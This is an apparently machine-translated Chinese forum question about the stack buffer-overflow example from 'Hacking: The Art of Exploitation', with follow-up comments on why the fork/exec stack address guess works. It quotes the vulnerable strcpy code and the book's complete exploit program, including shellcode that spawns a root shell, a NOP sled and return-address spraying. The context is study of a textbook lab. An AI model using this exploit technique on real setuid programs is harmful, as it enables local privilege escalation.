我正在讀這本書的Exploitation,這本書是一本很好的書,我從exploit_notesearch.c文件中運行該示例。來自Art of Exploitation的緩衝區溢出示例書
簡言之作者試圖從notesearch.c
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
主函數的參數被複制到searchString的陣列溢出程序,如果參數大於100個字節大它將溢出從返回地址主功能。
筆者準備在exploit_notesearch.c shellcode的,並呼籲弱勢notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); //run exploit
}
你可以看到的shellcode與NOP雪橇合併,並返回其應指向NOP雪橇地址。作者使用局部變量i的地址作爲參考點,並減去270個字節,從而試圖找出NOP底座的大致位置。
據我所知,作者認爲易受攻擊的notesearch.c中的主函數的stackframe與exploit_notesearch.c中的main函數的stackframe會處於同一個堆棧段。我認爲這是因爲只有這種方式與局部變量我的地址可以工作。
但是,作者在系統()這個系統(命令)的幫助下調用了易受攻擊的notesearch.c。我的意思是這個函數system()裏面的某個地方使用fork()來產生子進程,之後使用exec()函數來改變進程的圖像。但是如果圖像被改變,這意味着堆棧段將是新鮮的,並且exploit_notesearch.c中主要函數中局部變量i的地址的所有操作都是無用的,但是這種操作對我來說完全混淆了。
Niklas謝謝你的回答。 – 2012-01-02 14:50:24
Niklas謝謝你的回答。它是父進程和子進程之間操作系統虛擬內存分配的一個特殊屬性,子進程將使用存儲在特權進程的esp中的值?我的意思是,當作者減去270個字節時,他認爲堆棧段中存在易受攻擊子進程的虛擬地址較低。例如,一個父進程完成了他的工作並使用堆棧段中地址爲0hffff4534的地址,子進程是否將從該虛擬地址繼續?如果不是這種情況,有沒有什麼好的手冊或教程可以解釋這一點。在此先感謝 – 2012-01-02 14:56:42
如果我錯了,你能糾正我嗎?據我所知,這個漏洞是可能的,因爲兩個進程將爲堆棧段分配相同的虛擬地址,但由於易受攻擊的主函數將不得不爲局部變量分配大量字節searchstring我們可以假設它會在堆棧中較低 – 2012-01-02 15:04:00